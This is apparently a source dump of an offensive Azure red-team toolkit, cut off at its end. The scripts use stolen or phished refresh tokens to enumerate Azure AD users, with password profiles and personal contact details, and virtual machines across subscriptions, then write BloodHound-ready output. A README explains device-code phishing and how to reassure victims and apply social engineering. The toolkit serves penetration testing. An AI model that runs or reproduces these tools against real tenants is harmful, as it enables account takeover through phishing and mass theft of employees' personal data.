| access_token = json_data['access_token'] 169 | 170 | parts = access_token.split('.') 171 | payload = parts[1] 172 | payload_string = base64.b64decode(payload + '==') 173 | payload_json = json.loads(payload_string) 174 | 175 | tenant_id = payload_json['tid'] 176 | 177 | user = payload_json['upn'] 178 | endpoint = f'https://login.microsoftonline.com/GetUserRealm.srf?login={user}' 179 | user_realm_json = requests.get(endpoint).json() 180 | 181 | tenant_name = user_realm_json['FederationBrandName'] 182 | 183 | bloodhound_json_data = { 184 | 'meta': { 185 | 'count': 1, 186 | 'type': 'aztenants', 187 | 'version': 4 188 | }, 189 | 'data': [{ 190 | 'ObjectID': tenant_id, 191 | 'DisplayName': tenant_name 192 | }] 193 | } 194 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_json_out: 195 | json.dump(bloodhound_json_data, bloodhound_json_out, indent = 4) 196 | with open(outfile_text, 'w+', encoding='UTF-8') as outfile: 197 | outfile.write(f'Tenant ID: {tenant_id}') 198 | outfile.write(f'Tenant Name: {tenant_name}') 199 | print(f'{SUCCESS}Tenant ID{RESET}: {tenant_id}') 200 | print(f'{SUCCESS}Tenant Name{RESET}: {tenant_name}') 201 | 202 | if __name__ == '__main__': 203 | main() 204 | sys.exit() 205 | -------------------------------------------------------------------------------- /offensive_azure/Azure_AD/get_users.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | import os 21 | import sys 22 | import time 23 | import base64 24 | import json 25 | import argparse 26 | import colorama 27 | import requests 28 | 29 | DESCRIPTION = ''' 30 | ========================================================== 31 | # # 32 | # Uses the Microsoft Graph API to pull a full list of # 33 | # user details. # 34 | # # 35 | # If no ms_graph token or refresh_token is supplied, # 36 | # module will look in the REFRESH_TOKEN environment # 37 | # variable and request the ms_graph token # 38 | # # 39 | # Outputs condensed results in a text file, a raw json # 40 | # output file, and a json file compatible with # 41 | # BloodHound # 42 | # # 43 | ========================================================== 44 | ''' 45 | 46 | # Set up our colors 47 | colorama.init() 48 | SUCCESS = colorama.Fore.GREEN 49 | DANGER = colorama.Fore.RED 50 | WARNING = colorama.Fore.YELLOW 51 | RESET = colorama.Style.RESET_ALL 52 | VALID = colorama.Fore.CYAN 53 | 54 | # For use querying graph api for users 55 | ENDPOINT_BASE = 'https://graph.microsoft.com/v1.0/users?$select=' 56 | SELECT_PARAMS_DICT = { 57 | #'skills': 'User_Skills', List of user skills | Not currently supported 58 | #'responsibilities': 'User_Responsibilities', user responsibilities | Not currently supported 59 | #'schools': 'Schools_Attended', Schools the user attended | Not currently supported 60 | #'preferredName': 'User_Preferred_Name', preferred name for user | Not currently supported 61 | #'pastProjects': 'Past_User_Projects',List of past projects worked on | Not currently supported 62 | #'aboutMe': 'About_Me', User self description | Not currently supported 63 | #'birthday': 'Birthday', Birthday of user | Not currently supported 64 | #'hireDate': 'Hired_Date', date time of user hire Not currently supported (Sharepoint) 65 | #'interests': 'Interests', User described interests | Not currently supported 66 | #'mailboxSettings': 'Mailbox_Settings', Settings for primary mailbox of signed in user | 67 | # Not currently supported 68 | #'mySite': 'Personal_Site', User personal website | Not currently supported 69 | 'id': 'UID_Object_ID', # unique identifier / objectId 70 | 'accountEnabled': 'Account_Enabled', # true if enabled 71 | 'displayName': 'Display_Name', # Name displayed in address book 72 | 'givenName': 'First_Name', # User's first name 73 | 'surname': 'Last_Name', # User's last name 74 | 'userType': 'User_Type', # Member | Guest 75 | 'lastPasswordChangeDateTime': 'Last_Changed_Password', 76 | # Datetime when password last changed or created 77 | 'passwordPolicies': 'Password_Policies_Set', 78 | # DisabledStrongPassword | DisabledPasswordExpiration | 79 | # DisabledStrongPassword, DisabledPasswordExpiration 80 | 'passwordProfile': 'Password_Profile', 81 | # Displays user's password when profile is created 82 | 'companyName': 'Company_Name', # Company name associated with user 83 | 'createdDateTime': 'Created_On', # Date user object created 84 | 'creationType': 'Creation_Type', # school/work=null|external=Invitation|AAD B2C=LocalAccount| 85 | # self-service signup internal=EmailVerified|self-service signup external=SelfServiceSignUp 86 | 'deletedDateTime': 'Date_User_Deleted', # date and time user was deleted 87 | 'employeeId': 'Employee_ID', # Organization set employee identifier 88 | 'employeeType': 'Enterprise_Worker_Type', # Employee|Contractor|Consultant|Vendor 89 | 'employeeHireDate': 'Date_User_Hired', # date and time user was hired 90 | 'jobTitle': 'Job_Title', # User job title 91 | 'department': 'Department', # department where user works 92 | 'officeLocation': 'Office_Location', # Office location at place of business 93 | 'employeeOrgData': 'Employee_Organization_Data', # Includes the division worked in and 94 | # cost center associated with the user 95 | 'mail': 'Email', # SMTP address for the user 96 | 'mailNickname': 'Email_Alias', # Mail alias for user 97 | 'proxyAddress': 'Proxy_Email_Addresses', # other valid email addresses that proxy to user 98 | 'identities': 'Equivalent_Identities', # Multiple identites that may sign in as user 99 | 'otherMails': 'Alternate_Email', # additional email addresses for user 100 | 'imAddress': 'IM_VOIP_SIP_Address', 101 | # Instant message voice over IP session initiation protocol addresses 102 | 'businessPhones': 'Business_Phone_Numbers', # Telephone numbers for user 103 | 'mobilePhone': 'Mobile_Phone', # primary cellular phone number for user 104 | 'faxNumber': 'Fax_Number', # User's fax number 105 | 'country': 'Country', # Country User Located in 106 | 'state': 'State', # State user lives in 107 | 'city': 'City', # City User Located in 108 | 'streetAddress': 'Street_Address', # street address where user lives 109 | 'postalCode': 'Postal_Code', # User postal code 110 | 'ageGroup': 'Age_Group', # null|Minor|NotAdult|Adult 111 | 'consentProvidedForMinor': 'Consent_For_Minor_Provided', # null|Granted|Denied|NotRequired 112 | 'legalAgeGroupClassification': 'Legal_Age_Group', 113 | # null|MinorWithOutParentalConsent|MinorWithParentalConsent| 114 | # MinorNoParentalConsentRequired|NotAdult|Adult 115 | 'externalUserState': 'External_User_Invitation_Status', # PendingAcceptance|Accepted|null 116 | 'externalUserStateChangeDateTime': 'Exteranl_User_Invitation_Status_Last_Changed', 117 | # datetime when externalUserState last changed 118 | 'onPremisesDistinguishedName': 'Distinguished_Name_On-Prem', # On-Prem AD distinguished name 119 | 'onPremisesDomainName': 'Domain_Name-On-Prem', # On-Prem dnsDomainName/domainFQDN 120 | 'onPremisesExtensionAttributes': 'Custom_Exchange_Attributes_On-Prem', # ??? 121 | 'onPremisesImmutableId': 'Immutable_ID-On_Prem', # Associates On-Prem AD to AAD User 122 | 'onPremisesLastSyncDateTime': 'Last_Time_Synced_With_On-Prem', 123 | # time at which synced with on-prem AD 124 | 'onPremisesProvisioningErrors': 'Errors_Syncing_With_On-Prem', 125 | # Errors when using Microsoft synchonization product during provisioning 126 | 'onPremisesSamAccountName': 'SAM_Account_Name_On-Prem', 127 | # On-Prem samAccountName synchronized from on-prem AD 128 | 'onPremisesSecurityIdentifier': 'Security_Identifier_(SID)_On-Prem', 129 | 'onPremisesSyncEnabled': 'On-Prem_Sync_Enabled', 130 | # synced=true | no longer synced=false | never synced=null 131 | 'onPremisesUserPrincipalName': 'User_Principal_Name_On-Prem', 132 | # On-Prem AD userPrincipalName 133 | 'preferredDataLocation': 'User_Preferred_Data_Location', # preferred data location for user 134 | 'preferredLanguage': 'User_Preferred_Language', # preferred language for the user 135 | 'provisionedPlans': 'User_Provisioned_Plans', # plans provisioned for the user 136 | 'assignedLicenses': 'Assigned_Licenses', # Licenses assigned to user (or group) 137 | 'licenseAssignmentStates': 'Current_License_States', # current state of license assignments 138 | 'assignedPlans': 'Assigned_Plans', # Plans assigned to user 139 | 'refreshTokensValidFromDateTime': 'Refresh_Token_Not_Valid_Before', 140 | # Any refresh tokens before this time are invalid 141 | 'showInAddressList': 'Show_User_In_Outlook_Address_List', # true | false 142 | 'signInSessionsValidFromDateTime': 'Sign-In_Session_Not_Valid_Before', 143 | # Any sessions before this time are invalid 144 | 'usageLocation': 'User_Usage_Location', # country code to help with legal requirements 145 | 'userPrincipalName': 'User_Principal_Name', # UPN - maps to email 146 | 'isResourceAccount': 'Is_Resource_Account' # Not currently used, reserved for future use 147 | } 148 | 149 | SELECT_PARAMS = [] 150 | for param_key in SELECT_PARAMS_DICT: 151 | SELECT_PARAMS.append(param_key) 152 | 153 | SELECT_PARAMS_STRING = str(SELECT_PARAMS)[1:][:-1].replace('\'','').replace(' ', '') 154 | 155 | ENDPOINT = ENDPOINT_BASE + SELECT_PARAMS_STRING 156 | 157 | # For use when requesting new access tokens with refresh token 158 | URI = 'https://login.microsoftonline.com/Common/oauth2/token' 159 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c' 160 | 161 | # User agent to use with requests 162 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' 163 | 164 | def transpose_user(user): 165 | """Takes in user result from Graph and morphs into something we want""" 166 | return_user = {} 167 | for prop, readable in SELECT_PARAMS_DICT.items(): 168 | try: 169 | if isinstance(user[prop], list) and len(user[prop]) == 0: 170 | return_user[readable] = 'None' 171 | else: 172 | return_user[readable] = str(user[prop]) 173 | except KeyError: 174 | pass 175 | 176 | return return_user 177 | 178 | def main(): 179 | """Runner method""" 180 | arg_parser = argparse.ArgumentParser( 181 | prog='get_users.py', 182 | usage=SUCCESS + '%(prog)s' + RESET + \ 183 | ' [-t|--graph_token ]' + \ 184 | ' [-r|--refresh_token ]', 185 | description=DESCRIPTION, 186 | formatter_class=argparse.RawDescriptionHelpFormatter) 187 | arg_parser.add_argument( 188 | '-t', 189 | '--graph_token', 190 | metavar='', 191 | dest='graph_token', 192 | type=str, 193 | help='The ms_graph token you would like to use', 194 | required=False) 195 | arg_parser.add_argument( 196 | '-r', 197 | '--refresh_token', 198 | metavar='', 199 | dest='refresh_token', 200 | type=str, 201 | help='The refresh token you would like to use', 202 | required=False) 203 | arg_parser.add_argument('-R', 204 | '--refresh_token_file', 205 | metavar='', 206 | dest='refresh_token_file', 207 | type=str, 208 | help='A JSON file saved from token_juggle.py ' \ 209 | 'containing the refresh token you would like to use.', 210 | required=False) 211 | arg_parser.add_argument('-o', 212 | '--outfile_path', 213 | metavar='', 214 | dest='outfile_path', 215 | type=str, 216 | help='The path of where you want '\ 217 | 'the user data saved.'\ 218 | '\nIf not supplied, module defaults to '\ 219 | 'the current directory.', 220 | required=False) 221 | 222 | 223 | args = arg_parser.parse_args() 224 | 225 | # Handle outfile path 226 | outfile_path_base = args.outfile_path 227 | if outfile_path_base is None: 228 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_') 229 | elif outfile_path_base[-1] != '/': 230 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_') 231 | outfile_raw_json = outfile_path_base + 'users_raw.json' 232 | outfile_condensed = outfile_path_base + 'users_condensed.json' 233 | outfile_bloodhound = outfile_path_base + 'users_bloodhound.json' 234 | 235 | # Check to see if any graph or refresh token is given in the arguments 236 | # If both are given, will use graph token 237 | # If no token given, will check for a refresh token file 238 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable 239 | if args.refresh_token is None and args.graph_token is None and \ 240 | args.refresh_token_file is None: 241 | try: 242 | refresh_token = os.environ['REFRESH_TOKEN'] 243 | except KeyError: 244 | print(DANGER, '\n\tNo refresh token found.\n', RESET) 245 | arg_parser.print_help() 246 | sys.exit() 247 | elif args.refresh_token is None and args.graph_token is None: 248 | path = args.refresh_token_file 249 | try: 250 | with open(path, encoding='UTF-8') as json_file: 251 | json_file_data = json.load(json_file) 252 | json_file.close() 253 | except OSError as error: 254 | print(str(error)) 255 | sys.exit() 256 | refresh_token = json_file_data['refresh_token'] 257 | elif args.graph_token is not None: 258 | graph_token = args.graph_token 259 | else: 260 | refresh_token = args.refresh_token 261 | 262 | # If we have a refresh token, use it to request the necessary graph access token 263 | if refresh_token is not None: 264 | # Setting up our post request 265 | headers = { 266 | 'User-Agent': USER_AGENT 267 | } 268 | # body of our request 269 | data = { 270 | 'client_id': CLIENT_ID, 271 | 'resource': 'https://graph.microsoft.com', 272 | 'grant_type': 'refresh_token', 273 | 'refresh_token': refresh_token, 274 | 'scope': 'openid', 275 | } 276 | 277 | # Sending the request 278 | json_data = {} 279 | try: 280 | response = requests.post(URI, data=data, headers=headers) 281 | json_data = response.json() 282 | response.raise_for_status() 283 | except requests.exceptions.HTTPError: 284 | print(DANGER) 285 | print(json_data['error']) 286 | print(json_data['error_description']) 287 | print(RESET) 288 | sys.exit() 289 | graph_token = json_data['access_token'] 290 | 291 | 292 | # Getting our first (only?) page of user results 293 | headers = { 294 | 'Authorization': 'Bearer ' + graph_token 295 | } 296 | 297 | response = requests.get(ENDPOINT, headers=headers).json() 298 | raw_json_data = {'value': []} 299 | users_result = {} 300 | try: 301 | response_users = response['value'] 302 | except KeyError: 303 | print(f'{DANGER}Error retrieving users{RESET}') 304 | sys.exit() 305 | for user in response_users: 306 | raw_json_data['value'].append(user) 307 | users_result[user['id']] = transpose_user(user) 308 | 309 | try: 310 | next_link = response['@odata.nextLink'] 311 | except KeyError: 312 | next_link = None 313 | 314 | # If next_link is not None, then the results are paged 315 | # We iterate through the paged results to build out our full user list 316 | while next_link is not None: 317 | response = requests.get(next_link, headers=headers).json() 318 | response_users = response['value'] 319 | for user in response_users: 320 | raw_json_data['value'].append(user) 321 | users_result[user['id']] = transpose_user(user) 322 | try: 323 | next_link = response['@odata.nextLink'] 324 | except KeyError: 325 | next_link = None 326 | 327 | # Go through our raw json response data and build out a more readable user collection 328 | condensed_json_data = {'users': {}} 329 | for object_id, values in users_result.items(): 330 | condensed_json_data['users'][object_id] = {} 331 | for key, value in values.items(): 332 | if key in ('Assigned_Plans', 'User_Provisioned_Plans',\ 333 | 'Current_License_States', 'Assigned_Licenses'): 334 | continue 335 | if key == 'Custom_Exchange_Attributes_On-Prem': 336 | include_exchange_attr = False 337 | json_values = json.loads(value.replace('\'', '\"').replace('None', 'null')) 338 | for exchange_value in json_values.values(): 339 | if exchange_value is not None: 340 | include_exchange_attr = True 341 | break 342 | if include_exchange_attr: 343 | condensed_json_data['users'][object_id][key] = value 344 | print(f'{SUCCESS}{key}{RESET}:\t{value}'.expandtabs(56)) 345 | elif value != 'None': 346 | condensed_json_data['users'][object_id][key] = value 347 | print(f'{SUCCESS}{key}{RESET}:\t{value}'.expandtabs(56)) 348 | print() 349 | 350 | # Save raw json to file 351 | print(f'{SUCCESS}[+]{RESET} Writing raw response data to {WARNING}{outfile_raw_json}{RESET}') 352 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_json_out: 353 | json.dump(raw_json_data, raw_json_out, indent = 4) 354 | 355 | # save condensed output to file 356 | print(f'{SUCCESS}[+]{RESET} Writing condensed response ' + \ 357 | f'data to {WARNING}{outfile_condensed}{RESET}') 358 | with open(outfile_condensed, 'w+', encoding='UTF-8') as condensed_json_out: 359 | json.dump(condensed_json_data, condensed_json_out, indent = 4) 360 | 361 | # save bloodhound-users.json 362 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {WARNING}{outfile_bloodhound}{RESET}') 363 | user_count = len(raw_json_data['value']) 364 | parts = graph_token.split('.') 365 | payload = parts[1] 366 | payload_string = base64.b64decode(payload + '==') 367 | payload_json = json.loads(payload_string) 368 | token_tenant_id = payload_json['tid'] 369 | bloodhound_json_data = { 370 | 'meta': { 371 | 'count': user_count, 372 | 'type': 'azusers', 373 | 'version': 4 374 | }, 375 | 'data': [] 376 | } 377 | for user in raw_json_data['value']: 378 | if '#EXT#' not in user['userPrincipalName']: 379 | tenant_id = token_tenant_id 380 | else: 381 | tenant_id = None 382 | bloodhound_json_data['data'].append({ 383 | 'DisplayName': user['userPrincipalName'].split('@')[0], 384 | 'UserPrincipalName': user['userPrincipalName'], 385 | 'OnPremisesSecurityIdentifier': user['onPremisesSecurityIdentifier'], 386 | 'ObjectID': user['id'], 387 | 'TenantID': tenant_id 388 | }) 389 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_json_out: 390 | json.dump(bloodhound_json_data, bloodhound_json_out, indent = 4) 391 | 392 | if __name__ == '__main__': 393 | main() 394 | sys.exit() 395 | -------------------------------------------------------------------------------- /offensive_azure/Azure_AD/get_vms.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | import os 21 | import sys 22 | import time 23 | import json 24 | import argparse 25 | import colorama 26 | import requests 27 | 28 | DESCRIPTION = ''' 29 | ========================================================== 30 | # # 31 | # Uses Azure Resource Management API to pull a full # 32 | # list of virtual machines. # 33 | # # 34 | # If no ARM token or refresh_token is supplied, # 35 | # module will look in the REFRESH_TOKEN environment # 36 | # variable and request the ARM token # 37 | # # 38 | # Outputs a raw json output file, and a json file # 39 | # compatible with BloodHound # 40 | # # 41 | ========================================================== 42 | ''' 43 | 44 | # Set up our colors 45 | colorama.init() 46 | SUCCESS = colorama.Fore.GREEN 47 | DANGER = colorama.Fore.RED 48 | WARNING = colorama.Fore.YELLOW 49 | RESET = colorama.Style.RESET_ALL 50 | VALID = colorama.Fore.CYAN 51 | 52 | # For use querying graph api for users and group membership 53 | ENDPOINT_BASE = 'https://management.azure.com/subscriptions/' 54 | ENDPOINT_VMS = '/providers/Microsoft.Compute/virtualMachines?api-version=2021-11-01' 55 | ENDPOINT_SUBS = 'https://management.azure.com/subscriptions?api-version=2020-01-01' 56 | 57 | # For use when requesting new access tokens with refresh token 58 | URI = 'https://login.microsoftonline.com/Common/oauth2/token' 59 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c' 60 | 61 | # User agent to use with requests 62 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' 63 | 64 | def main(): 65 | """Runner method""" 66 | arg_parser = argparse.ArgumentParser( 67 | prog='get_vms.py', 68 | usage=SUCCESS + '%(prog)s' + RESET + \ 69 | ' [-t|--arm_token ]' + \ 70 | ' [-r|--refresh_token ]', 71 | description=DESCRIPTION, 72 | formatter_class=argparse.RawDescriptionHelpFormatter) 73 | arg_parser.add_argument( 74 | '-t', 75 | '--arm_token', 76 | metavar='', 77 | dest='arm_token', 78 | type=str, 79 | help='The arm token token you would like to use', 80 | required=False) 81 | arg_parser.add_argument( 82 | '-r', 83 | '--refresh_token', 84 | metavar='', 85 | dest='refresh_token', 86 | type=str, 87 | help='The ARM token you would like to use', 88 | required=False) 89 | arg_parser.add_argument('-R', 90 | '--refresh_token_file', 91 | metavar='', 92 | dest='refresh_token_file', 93 | type=str, 94 | help='A JSON file saved from token_juggle.py ' \ 95 | 'containing the refresh token you would like to use.', 96 | required=False) 97 | arg_parser.add_argument('-o', 98 | '--outfile_path', 99 | metavar='', 100 | dest='outfile_path', 101 | type=str, 102 | help='The path of where you want '\ 103 | 'the virtual machine data saved.'\ 104 | '\nIf not supplied, module defaults to '\ 105 | 'the current directory.', 106 | required=False) 107 | 108 | args = arg_parser.parse_args() 109 | 110 | # Handle outfile path 111 | outfile_path_base = args.outfile_path 112 | if outfile_path_base is None: 113 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_') 114 | elif outfile_path_base[-1] != '/': 115 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_') 116 | outfile_raw_json = outfile_path_base + 'virtual_machines_raw.json' 117 | outfile_bloodhound = outfile_path_base + 'virtual_machines_bloodhound.json' 118 | 119 | # Check to see if any graph or refresh token is given in the arguments 120 | # If both are given, will use graph token 121 | # If no token given, will check for a refresh token file 122 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable 123 | if args.refresh_token is None and args.arm_token is None and \ 124 | args.refresh_token_file is None: 125 | try: 126 | refresh_token = os.environ['REFRESH_TOKEN'] 127 | except KeyError: 128 | print(DANGER, '\n\tNo refresh token found.\n', RESET) 129 | arg_parser.print_help() 130 | sys.exit() 131 | elif args.refresh_token is None and args.arm_token is None: 132 | path = args.refresh_token_file 133 | try: 134 | with open(path, encoding='UTF-8') as json_file: 135 | json_file_data = json.load(json_file) 136 | json_file.close() 137 | except OSError as error: 138 | print(str(error)) 139 | sys.exit() 140 | refresh_token = json_file_data['refresh_token'] 141 | elif args.arm_token is not None: 142 | arm_token = args.arm_token 143 | else: 144 | refresh_token = args.refresh_token 145 | 146 | # If we have a refresh token, use it to request the necessary graph access token 147 | if refresh_token is not None: 148 | # Setting up our post request 149 | headers = { 150 | 'User-Agent': USER_AGENT 151 | } 152 | # body of our request 153 | data = { 154 | 'client_id': CLIENT_ID, 155 | 'resource': 'https://management.azure.com', 156 | 'grant_type': 'refresh_token', 157 | 'refresh_token': refresh_token, 158 | 'scope': 'openid', 159 | } 160 | 161 | # Sending the request 162 | json_data = {} 163 | try: 164 | response = requests.post(URI, data=data, headers=headers) 165 | json_data = response.json() 166 | response.raise_for_status() 167 | except requests.exceptions.HTTPError: 168 | print(DANGER) 169 | print(json_data['error']) 170 | print(json_data['error_description']) 171 | print(RESET) 172 | sys.exit() 173 | arm_token = json_data['access_token'] 174 | 175 | # Grabbing the available subscriptions 176 | headers = { 177 | 'Authorization': 'Bearer ' + arm_token 178 | } 179 | subs_response = requests.get(ENDPOINT_SUBS, headers=headers).json() 180 | raw_json_data_subs = { 181 | 'value': subs_response['value'] 182 | } 183 | try: 184 | next_link = subs_response['nextLink'] 185 | except KeyError: 186 | next_link = None 187 | while next_link: 188 | subs_response = requests.get(next_link, headers=headers).json() 189 | for sub in subs_response['value']: 190 | raw_json_data_subs['value'].append(sub) 191 | try: 192 | next_link = subs_response['nextLink'] 193 | except KeyError: 194 | next_link = None 195 | 196 | # We have our subs, now we need to grab the resource groups within each 197 | raw_json_data_vm = {'value': []} 198 | for sub in raw_json_data_subs['value']: 199 | sub_id = sub['subscriptionId'] 200 | vm_response = requests.get(ENDPOINT_BASE + sub_id + ENDPOINT_VMS, headers=headers).json() 201 | for vm_entry in vm_response['value']: 202 | raw_json_data_vm['value'].append(vm_entry) 203 | try: 204 | next_link = vm_response['nextLink'] 205 | except KeyError: 206 | next_link = None 207 | while next_link: 208 | vm_response = requests.get(next_link, headers=headers).json() 209 | for vm_entry in vm_response['value']: 210 | raw_json_data_vm['value'].append(vm_entry) 211 | try: 212 | next_link = vm_response['nextLink'] 213 | except KeyError: 214 | next_link = None 215 | 216 | # We should have our complete list of resource groups now 217 | count = len(raw_json_data_vm['value']) 218 | 219 | # Process raw data 220 | bloodhound_json_data = { 221 | 'meta': { 222 | 'count': count, 223 | 'type': 'azvms', 224 | 'version': 4 225 | }, 226 | 'data': [] 227 | } 228 | for vm_entry in raw_json_data_vm['value']: 229 | rsg_group_sub = vm_entry['id'].split('/')[2] 230 | rsg_name = vm_entry['id'].split('/')[4] 231 | rsg_id = '/'.join(vm_entry['id'].split('/')[0:5]) 232 | az_id = vm_entry['properties']['vmId'] 233 | vm_name = vm_entry['name'] 234 | bloodhound_json_data['data'].append({ 235 | "AzVMName": vm_name, 236 | "AZID": az_id, 237 | "ResourceGroupName": rsg_name, 238 | "ResoucreGroupSub": rsg_group_sub, 239 | "ResourceGroupID": rsg_id 240 | }) 241 | 242 | for prop, val in vm_entry.items(): 243 | if val is not None: 244 | if prop == 'properties': 245 | print(f'{SUCCESS}{prop}{RESET}:') 246 | for prop_1, val_1 in val.items(): 247 | if prop_1 in ['storageProfile', 'osProfile', 'networkProfile']: 248 | print(f'\t{SUCCESS}{prop_1}{RESET}:'.expandtabs(2)) 249 | for prop_2, val_2 in val_1.items(): 250 | if prop_2 in [ 251 | 'imageReference', 252 | 'osDisk', 253 | 'linuxConfiguration', 254 | 'windowsConfiguration' 255 | ]: 256 | print(f'\t\t{SUCCESS}{prop_2}{RESET}:'.expandtabs(2)) 257 | for prop_3, val_3 in val_2.items(): 258 | if val_3 is not None: 259 | print(f'\t\t\t{SUCCESS}{prop_3}{RESET}:' \ 260 | f'\t{str(val_3)}'.expandtabs(2)) 261 | elif prop_2 in [ 262 | 'dataDisks', 263 | 'secrets', 264 | 'networkInterfaces' 265 | ]: 266 | print(f'\t\t{SUCCESS}{prop_2}{RESET}:'.expandtabs(2)) 267 | for each in val_2: 268 | for prop_3, val_3 in each.items(): 269 | if val_3 is not None: 270 | print(f'\t\t\t{SUCCESS}{prop_3}{RESET}:' \ 271 | f'\t{str(val_3)}'.expandtabs(2)) 272 | else: 273 | if val_2 is not None: 274 | print(f'\t\t{SUCCESS}{prop_2}{RESET}:' \ 275 | f'\t{str(val_2)}'.expandtabs(2)) 276 | else: 277 | print(f'\t{SUCCESS}{prop_1}{RESET}:\t{str(val_1)}'.expandtabs(2)) 278 | elif prop == 'resources': 279 | print(f'{SUCCESS}{prop}{RESET}:') 280 | for each in val: 281 | for prop2, val2 in each.items(): 282 | if val2 is not None: 283 | print(f'\t{SUCCESS}{prop2}{RESET}: {val2}'.expandtabs(2)) 284 | else: 285 | print(f'{SUCCESS}{prop}{RESET}:\t{str(val)}'.expandtabs(2)) 286 | 287 | print() 288 | 289 | # Writing out raw data 290 | print(f'{SUCCESS}[+]{RESET} Writing raw data to {outfile_raw_json}') 291 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_out: 292 | json.dump(raw_json_data_vm, raw_out, indent=4) 293 | 294 | # Writing out bloodhound data 295 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {outfile_bloodhound}') 296 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_out: 297 | json.dump(bloodhound_json_data, bloodhound_out, indent=4) 298 | 299 | if __name__ == '__main__': 300 | main() 301 | sys.exit() 302 | -------------------------------------------------------------------------------- /offensive_azure/Azure_AD/requirements.txt: -------------------------------------------------------------------------------- 1 | certifi==2021.10.8 2 | charset-normalizer==2.0.12 3 | colorama==0.4.4 4 | idna==3.3 5 | requests==2.27.1 6 | urllib3==1.26.9 7 | -------------------------------------------------------------------------------- /offensive_azure/Device_Code/README.md: -------------------------------------------------------------------------------- 1 | # device_code_easy_mode.py 2 | 3 | Original inspiration comes directly from [Dr. Azure AD](https://twitter.com/DrAzureAD) and his [AADInternals](https://o365blog.com/aadinternals/) project. He developed a workflow in PowerShell for creating the device code flow authentication process that required you to stand up and supply an SMTP server for the cmdlet to interact on. 4 | 5 | This didn't fit within our workflow at BLS so we decided to make a simpler tool that requests the device code for you, presents it to you, and polls the endpoint for any authentication events. It is up to you to stand up your own email infrastructure and conduct this phish in a successful way. Like the cmdlet in AADInternals, we use the application ID for Microsoft Office. This helps reassure the victim that they are interacting with a legitimate process. 6 | 7 | You have the option to set the targeted resource within the script. Just choose from the URIs presented. For AzureAD and AADInternals usage, you'll want to use `GRAPH`. This is supposed to be going away sometime in April 2022 in favor of `MS_GRAPH`. 8 | 9 | For use with all of the `Az` cmdlets, you'll need both `GRAPH` and `AZURE_MANAGEMENT` tokens. For this you'll need to use something like TokenTactics with your refresh token, for the time being, to request additional tokens once the device code flow authentication is completed. 10 | 11 | We will have a similar python solution to TokenTactics in the near term. 12 | 13 | ## Requirements 14 | 15 | `pip install -r ./requirements.txt` 16 | 17 | ## Usage 18 | 19 | - `python3 ./device_code_easy_mode.py` 20 | - Send your phish with the code your presented with as well as the `devicelogin` endpoint shown 21 | - Wait for the target to perform the required steps 22 | - The device code authentication flow expires after 15 minutes, social engineering may help you prep your target 23 | -------------------------------------------------------------------------------- /offensive_azure/Device_Code/device_code_easy_mode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | import sys 21 | import json 22 | import time 23 | import requests 24 | 25 | GET_DEVICE_CODE_ENDPOINT = \ 26 | 'https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0' 27 | 28 | # Windows Core Management 29 | WIN_CORE_MANAGEMENT = 'https://management.core.windows.net' 30 | 31 | # Azure Management 32 | # For use in Az [powershell, will not access AzAD cmdlets without also supplying graph token] 33 | AZURE_MANAGEMENT = 'https://management.azure.com' 34 | 35 | # Graph (For use with Az/AzureAD/AADInternals) 36 | GRAPH = 'https://graph.windows.net' 37 | 38 | # Microsoft Graph (Microsoft is moving towards this from graph in 2022) 39 | MS_GRAPH = 'https://graph.microsoft.com' 40 | 41 | # Microsoft Manage 42 | MS_MANAGE = 